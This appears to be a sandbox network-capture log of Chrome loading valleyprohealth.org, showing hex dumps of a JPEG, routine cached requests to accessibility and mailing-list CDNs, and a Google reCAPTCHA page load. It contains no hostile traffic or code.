2024-04-24 12:45:28 UTC	16056	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 02 c8 06 00 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 07 00 08 09 ff c4 00 4e 10 00 02 01 03 03 02 04 04 03 05 05 06 05 02 01 0d 01 02 03 00 04 11 05 12 21 06 31 13 41 51 61 07 14 22 71 32 81 91 15 23 42 a1 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$N!1AQa"q2#B
2024-04-24 12:45:28 UTC	16384	IN	Data Raw: b5 47 a4 9b e5 6f a2 70 78 35 ce 78 9a c9 63 a5 71 a3 48 da 93 4c aa c1 b8 c5 6d 5a 58 4a 3b a6 64 f6 d2 23 7b f0 91 34 c1 c0 2a 2b 93 1c 6e 32 74 cc ae f7 80 19 8d cc e2 55 6c 7a e7 ce b6 e1 55 25 65 d1 64 b2 dd 27 86 d1 9e fd b3 5d 67 a6 8c b9 2f 70 be 40 20 4b 2b 64 60 c0 12 79 c9 ac b9 b4 f1 85 24 24 e3 40 53 5c 49 3d c4 30 c6 48 05 bb 0e d8 a5 cb 1a 86 d0 cf 84 56 6b 9a 6a 5a b9 9a e1 c6 7b 85 cd 66 c7 82 71 8d 23 23 c3 bb 94 50 dc 75 3a 22 20 b2 f1 16 55 6f 2e 2a ec 5a 29 29 5c ca 1f d3 1c ba 85 d7 58 5e 24 52 34 8c d1 00 31 9e 05 5d 28 4b 17 2d dd 91 24 ba 36 56 37 e7 a7 ef ed 16 34 fa 14 6d 73 f7 aa 13 78 e5 bc 79 72 87 5c de 25 f6 bf 3b 48 06 e2 37 a7 a9 aa 71 cb 7c de 44 24 23 c1 63 6f 24 57 f6 32 35 cc 62 32 99 c6 e1 5a 5d 4a 2e c7 8c 3e 8a 2b Data Ascii: Gopx5xcqHLmZXJ;d#{4+n2tUlzU%ed']g/p@ K+d`y$$@S\I=0HVkjZ{fq##Pu:" Uo.Z))\X^$R41](K-$6V74msxyr\%;H7q\|D$#co$W25b2Z]J.>+
2024-04-24 12:45:28 UTC	16384	IN	Data Raw: d2 ee 0d 78 f4 9e 07 80 58 91 86 03 b9 35 6c 32 bc 6c bb 14 9e 29 38 b0 07 bf bb b9 be 5d 42 3b 64 d9 26 49 53 9e 33 51 4b 77 2c d9 82 57 27 c1 45 d4 7d 43 6d 7b 65 3a 34 4d 14 e1 c8 0c 3b 1e 7b d2 af 94 a8 4c f9 a1 28 35 e4 b0 e8 f9 f4 fb 9b 45 83 53 25 cb 0c 06 23 35 57 b7 05 3b 68 1a 59 46 4a 9f 65 6c d2 af 4c 75 1c a9 60 0c b0 4a 46 01 3c 03 4e da 97 5e 0a b3 e3 4b 25 23 af 58 68 91 5d 68 b1 4f 12 f8 73 ed 0c 71 e6 6b 7c 30 a7 8e d7 66 c7 14 a9 18 5d 7b a8 75 6d 0e ed 63 86 0f e2 da 47 7d c0 77 ac 2a 53 de d3 e0 aa 76 a5 c2 35 b6 4f a7 f5 5e 89 28 b5 91 45 c8 43 b9 41 e5 4d 6c 8e 28 64 83 4b b2 da ff 00 b1 9e f8 7b d5 cb a6 5f 5c 74 de a5 19 8e 4f 10 aa b9 ec f4 fa 79 2c 6b 6b 02 76 f6 79 46 d3 4d e9 4b 4b 0b e9 ae c2 2e 24 6d c0 e3 d6 ad c7 a6 4a 5b Data Ascii: xX5l2l)8]B;d&IS3QKw,W'E}Cm{e:4M;{L(5ES%#5W;hYFJelLu`JF<N^K%#Xh]hOsqk\|0f]{umcG}w*Sv5O^(ECAMl(dK{_\tOy,kkvyFMKK.$mJ[
2024-04-24 12:45:28 UTC	16384	IN	Data Raw: 28 15 c1 f5 07 79 4f 53 e9 8a b0 22 84 82 4f 7a c2 74 47 a0 20 62 a1 05 10 ef 6a 80 b2 58 ed 32 c4 9a 80 72 34 fd 21 6c 23 f1 1f de b4 e9 97 27 37 5f 2e 12 39 ad e0 92 e0 e7 34 76 a4 74 d3 20 82 27 53 82 b9 a8 c6 4c 1a f2 22 d9 fa 0f e9 45 06 c1 ed b4 d9 59 c3 aa d4 94 92 0a 65 fc 4d 71 6b 00 dc 8c 45 63 94 53 64 03 bb d3 af af 97 72 2b 6d 34 f1 71 88 77 24 55 b6 87 a8 42 d9 fa 85 5d ee 45 93 75 93 d9 e9 d7 4c fb 24 2d cd 24 a4 bc 12 cb 4f f7 39 6e c0 67 5e f5 57 bc d7 42 3c 88 d1 69 bd 18 96 d1 06 4e 0e 2a a9 c9 cb b2 99 6a 12 e0 75 ce 88 d1 1c e0 91 55 d5 0c b2 a6 1f a5 5d 8b 52 10 8c 01 41 22 bc b1 dc 8b c1 aa c6 e3 00 8a 96 64 f6 19 0d dd cc 52 21 04 f7 14 92 2c c7 06 98 27 4d 5b aa 6a 6e 40 fc 5c d6 cd 07 e4 53 ea 3f 81 a9 bc b7 8f e6 a3 25 47 7a eb Data Ascii: (yOS"OztG bjX2r4!l#'7_.94vt 'SL"EYeMqkEcSdr+m4qw$UB]EuL$-$O9ng^WB<iN*juU]RA"dR!,'M[jn@\S?%Gz
2024-04-24 12:45:28 UTC	16384	IN	Data Raw: db 23 ca 8f bd 11 7f 8b 32 78 ba 5a e2 da 42 9e 1b 23 37 91 14 cb 2a 62 3d 3b e8 f1 e9 0b 8b 88 88 f0 5b 3d bb 53 7b a8 5f e3 b2 96 f3 a7 2e a0 76 62 ad 9e 57 b7 a5 32 c9 65 6f 1b 40 2b 65 77 04 e2 e3 c3 70 41 ef 8f 6a 6d d6 26 d2 73 7b 75 03 ee 1b c6 d5 c7 f4 ff 00 4a 14 31 1b 6b 73 25 8f cb ee 38 2f 9c 7b 51 51 e4 56 cb be 99 d5 e7 37 3e 27 8a 47 f0 82 4f e1 14 ad 51 11 d8 fa 2f 54 f9 96 92 0b 59 65 40 53 eb 28 4a f1 59 75 2a 2e 3c 97 41 d3 34 91 df fc b8 78 da ea 62 fe 5f 5b 71 e9 5e 77 53 07 ba d3 2d 6d b2 83 55 bf d6 f4 79 56 ec 5c dc 18 b3 f8 59 ce 0d 5d 89 43 34 7d b6 f9 19 cb 80 de 9a d6 b5 1d 6b 54 b7 92 4b 99 63 4d d8 d8 24 38 35 a7 16 05 89 6d ec aa 52 67 d2 76 00 2d ac 7f f2 8a ef 61 49 44 e7 cf 96 10 c7 e9 27 da ae 93 f8 32 bf 27 c6 7d 59 ad Data Ascii: #2xZB#7b=;[=S{_.vbW2eo@+ewpAjm&s{uJ1ks%8/{QQV7>'GOQ/TYe@S(JYu.<A4xb_[q^wS-mUyV\Y]C4}kTKcM$85mRgv-aID'2'}Y
2024-04-24 12:45:29 UTC	16384	IN	Data Raw: e2 85 0d 60 57 c9 80 68 31 e0 ca c7 07 26 94 b5 01 5c 71 28 cf ad 3e 3f c8 ab 50 ae 0c 0b a9 a1 32 69 ac 47 3c 1a eb 41 9e 56 6b 92 8f 40 b1 b9 d4 2d 96 3b 58 24 9a 4c 76 45 24 d3 66 e8 6c 4b 93 2d f1 0b 4d be d2 35 14 6b eb 39 ed c4 c8 14 34 88 57 38 fb d6 1c 6b b4 74 66 ed 5a 2c be 13 2a 4f d4 76 aa f9 db 1f 38 ff 00 3a 5c fd 0f 85 f0 7d 1b 34 5e 2b 24 64 82 00 ac 2c 64 eb 93 11 d6 9a c7 fc 53 5b a9 1e 1c 63 19 15 54 ad 9b 34 f0 e2 ce 75 ad 75 b2 da a9 b7 8a 55 82 15 1f 5c 87 96 6f 60 2a ec 78 1c b9 2e 94 e3 0e 59 49 2f 54 6a 70 d8 2d fd ae 9e 8d 03 b6 d5 9a e9 8b 13 ef 8a dd 8f 4c bc b3 9f 9f 59 25 f8 a1 9a 47 50 6b 5a ed ca c2 1f 4d 3b 99 54 6d 52 99 dd d8 8c 55 ef 49 07 e4 cb 1d 7e 45 da 2e f5 29 75 2d 02 e3 e5 b5 28 a5 81 bf bb 2f d4 8d f6 6f f5 ac Data Ascii: `Wh1&\q(>?P2iG<AVk@-;X$LvE$flK-M5k94W8ktfZ,Ov8:\}4^+$d,dS[cT4uuU\o`x.YI/Tjp-LY%GPkZM;TmRUI~E.)u-(/o
2024-04-24 12:45:29 UTC	16384	IN	Data Raw: ea 1d 45 24 2d 17 82 15 9b 81 20 71 c7 bd 50 b1 c1 33 44 b2 4d aa 48 a0 87 41 d7 56 eb c7 1a bd f0 97 39 e6 43 8f d3 b5 5c dc 6a a8 cc b1 ce ef 71 a5 8b 4d bf 2a 92 5f 5d c9 3c 80 70 4f 95 57 37 c1 a7 19 73 a0 eb 86 d2 7f 96 77 c7 a6 7c ea 86 da e5 17 b8 ee e1 9a a4 d7 a3 52 3c 56 fa 69 b1 e5 77 c9 9f 26 9f 8e 0a ce a3 d4 ec ee d0 04 20 91 5a 65 34 fa 28 86 29 47 b3 91 75 f6 d9 04 63 d1 b3 56 61 74 65 d5 24 e9 1c ee fc 07 ee a4 10 7d 3c ab 4c 25 c9 93 2e 3f 88 20 50 7e 9c f6 ab 8c 8e 3e 0d 0f 4e 69 a6 f2 e4 2b 85 c2 ae ec b7 99 ff 00 e2 a8 cd 2a 46 9d 3c 1c 99 d4 ba 72 d4 47 7f 68 17 0b 1a 6d 73 23 ff 00 17 d4 06 31 e5 de b0 d7 96 74 ee b8 46 b6 69 ed 16 f2 56 63 23 26 72 9b 79 03 f2 f4 ac d9 17 25 b8 fa 06 f9 db 9d 4e 45 8e 29 02 a0 18 e3 cc e7 d2 ab 5f Data Ascii: E$- qP3DMHAV9C\jqM_]<pOW7sw\|R<Viw& Ze4()GucVate$}<L%.? P~>Ni+F<rGhms#1tFiVc#&ry%NE)_
2024-04-24 12:45:29 UTC	16384	IN	Data Raw: b5 ae a3 69 25 b5 dc 61 e1 95 76 b7 9d 2c a2 9a a6 34 64 d3 b4 72 4d 57 a1 07 46 d9 0b 78 64 69 f4 f6 76 2a e4 64 a6 4e 40 35 c6 d5 e0 70 96 e5 d1 de d1 6a 16 45 b7 c9 9e 86 20 93 72 39 5f 2a cd 19 d1 b9 a2 c3 e5 e2 64 c1 61 57 da 62 f2 8a db bd 1a de 6c 9d a3 34 cc 65 26 56 3f 4f 42 b9 3b 3f 95 2d b1 ed 14 da 86 86 9b b2 bb 54 0f 6a 2a 41 69 32 97 51 b7 8e ce 1f c4 0e 6a e8 bb 32 64 e0 cb de ca b2 37 d3 da ae 48 ca e4 36 d9 37 30 a7 15 b2 3e aa 6d ba 5a 46 38 0e e0 53 62 fc 8a 75 1f 8d 19 5d 3e 05 96 f6 30 c1 8a 6e 1b b0 33 8a d1 27 c1 8e 11 f9 1b 31 d3 56 d7 b7 50 c7 60 4d cc 92 60 06 65 c2 e2 b2 fb 8f c9 bb d9 4f f1 3b 8f 48 f4 ed bf 4d 69 4b 0a 46 a2 52 bf 59 1e 66 b3 4d b6 cd f8 e2 a2 a9 16 02 32 e7 32 1f b0 a0 58 49 f1 06 10 74 5b 77 de 42 f8 4a 70 Data Ascii: i%av,4drMWFxdivdN@5pjE r9_daWbl4e&V?OB;?-Tj*Ai2Qj2d7H670>mZF8Sbu]>0n3'1VP`M`eO;HMiKFRYfM22XIt[wBJp
2024-04-24 12:45:29 UTC	16384	IN	Data Raw: 51 00 d9 a5 1c 91 45 15 cd 90 07 dc 7d 6a c4 52 c2 a1 94 42 bb d8 e0 0e 4d 3f e8 46 eb 96 52 ea 17 46 ea e5 a5 e7 07 b0 f6 af 53 a3 c1 ec e3 4b c9 e6 f5 59 bd cc 8d 83 87 c6 0a 36 1b d0 8e 0d 6c 28 2f 74 3e af bf d1 a6 59 63 92 5b 69 07 66 cf 1f a8 a5 c9 0c 79 16 dc 88 7c 79 67 8d dc 19 d5 3a 67 e3 68 25 61 d7 a0 c2 76 f9 98 bc bd c8 ff 00 4a e1 6b 7d 16 31 8b 9e 17 ff 00 07 67 4b ea ad bd b9 11 43 d7 ff 00 17 ee 75 11 2d 9e 8a cd 0d a0 ca 99 3b 3c bf e8 2b 8f 8f 4d cf c8 dd 9b 59 4b e0 73 ce 84 ea 59 b4 1e bb d3 2f e7 62 51 a6 09 29 f2 08 df 4b 1f e7 5a 32 e2 4e 0d 23 1e 0c cf dc 4d 9f 45 5f e9 cc 75 07 8f 7f d0 c7 2b 5c 86 cf 45 19 71 60 33 ac 5a 2b 34 d3 c6 76 f9 b8 19 c5 2c 7b 24 ae 41 7a 77 56 e8 57 f9 8a 0b f8 5e 41 dd 33 f5 0a bf 69 4e c7 74 13 3f Data Ascii: QE}jRBM?FRFSKY6l(/t>Yc[ify\|yg:gh%avJk}1gKCu-;<+MYKsY/bQ)KZ2N#ME_u+\Eq`3Z+4v,{$AzwVW^A3iNt?
2024-04-24 12:45:29 UTC	16384	IN	Data Raw: 8f 67 2a 93 e8 c5 ad c1 ef 62 71 5d f8 2a 75 d9 8d ee 9c 4f 9c 67 9a f7 7a 29 25 3e 3a 67 82 f5 18 49 e3 e7 b4 05 a1 ea 8e d7 90 db 72 49 fa 40 f5 ab f5 98 92 83 91 57 a6 66 72 9a 81 65 f1 0f 5d fd 83 a3 0d 3e d5 81 b8 94 ed 18 fe 27 3d cf d8 7f 95 79 cc 70 96 a7 2a 8f ff 00 ed 1f 4c d0 43 1f a7 e9 65 ab c9 e3 ff 00 66 4b a3 b4 af 0d 94 c8 1b 27 be 3b b1 af 4f 96 b1 63 50 89 f3 7c b9 e7 aa d4 4b 34 dd db 3a 4a cb 16 9d 00 85 00 f1 9b 19 55 fe 1a e3 34 e6 ec e9 46 a0 a9 76 13 d3 11 c7 05 dd ea 36 16 47 22 4c 7a 83 5c 5f 51 82 53 bf b3 b5 a2 93 96 3a fa 2f 64 b5 8a 46 dc 40 3f 7a e7 d2 36 db 2b 35 16 89 01 1c 7a 71 49 28 96 c1 b3 39 2c 40 39 03 cc d2 b4 58 34 da 8c 67 14 54 45 dc 49 0d a3 9e 55 49 1e b4 69 04 1a fe 06 86 16 96 47 0a 14 66 8e 3c 4f 24 d4 23 Data Ascii: gbq]uOgz)%>:gIrI@Wfre]>'=yp*LCefK';OcP\|K4:JU4Fv6G"Lz\_QS:/dF@?z6+5zqI(9,@9X4gTEIUIiGf<O$#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	50209	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:29 UTC	676	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
2024-04-24 12:45:30 UTC	823	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:45:30 GMT Connection: close x-guploader-uploadid: ABPtcPpeZPkLOmWjU8fnVqP9PmemnSkyFY41Jn4sXreV6Lu6G4oZyTW0bj2V5lOPc7ValKe1Jz5lbEYC_w x-goog-generation: 1713916803534148 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Thu, 24 Apr 2025 12:45:09 GMT Cache-Control: no-cache last-modified: Wed, 24 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" Age: 21 CF-Cache-Status: HIT Server: cloudflare CF-RAY: 879630d6b8d30acd-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	50211	18.154.206.128	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:29 UTC	699	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6aba559afcf8291c518df6fa4c481556" If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
2024-04-24 12:45:30 UTC	926	IN	HTTP/1.1 304 Not Modified Connection: close x-amz-id-2: NhFVaSE2cMEwNudvagKrZhdPSdI+BndFDgF4yx3U15XeJU6QvD8ncKawqbkQ9egNimHWtbrRC/8= x-amz-request-id: 0H0DHR4R2F5HFTPF Date: Wed, 24 Apr 2024 12:45:31 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Server: AmazonS3 ETag: "6aba559afcf8291c518df6fa4c481556" Vary: Accept-Encoding,Origin,Access-Control-Request-Headers,Access-Control-Request-Method Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: RefreshHit from cloudfront Via: 1.1 b2276128246b9d94a9a504a254d0faea.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: bb6LkV1DiY4IjbRgixPtwyjctlLNvVBNzAZdgxWZ3Dy5hu3RoX5MRw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	50214	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:31 UTC	464	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
2024-04-24 12:45:31 UTC	736	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:45:31 GMT Connection: close Cache-Control: no-cache expires: Thu, 24 Apr 2025 12:44:32 GMT last-modified: Fri, 19 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" x-goog-generation: 1713484803296703 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * x-guploader-uploadid: ABPtcPpjwrlODOGe_M1_3nbRujKT53UnTQcp6qu9-ak2ZbIs3clNIrK2YrRrB5Z-P2gCunlhb5cmkPsBvg CF-Cache-Status: HIT Age: 59 Server: cloudflare CF-RAY: 879630deeb97a982-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	50215	18.154.206.110	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:31 UTC	487	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6aba559afcf8291c518df6fa4c481556" If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
2024-04-24 12:45:31 UTC	761	IN	HTTP/1.1 304 Not Modified Connection: close x-amz-id-2: HpmsPwpe675n+oChRRRWB57+2cHqh2DLyAsD/6rB1bA6HnzhEGhOFsQ9O4Tvmk815C47B/CbnZM= x-amz-request-id: RSS2NESC19FNGG8M Date: Wed, 24 Apr 2024 12:45:32 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Server: AmazonS3 ETag: "6aba559afcf8291c518df6fa4c481556" Vary: Accept-Encoding Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: RefreshHit from cloudfront Via: 1.1 ce03dab0723e1a81658675d5bdaf168c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: HJi15WlmC9OtTUPhJLA0oPpitOrCZSbJb67aUGp4NMpyxXbGrdg3FQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	50213	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:31 UTC	1250	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=vigs5q7xdexj HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:31 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:31 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-1uWlFEa9cm035libEBZgrA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:31 UTC	364	IN	Data Raw: 32 61 65 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2aea<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
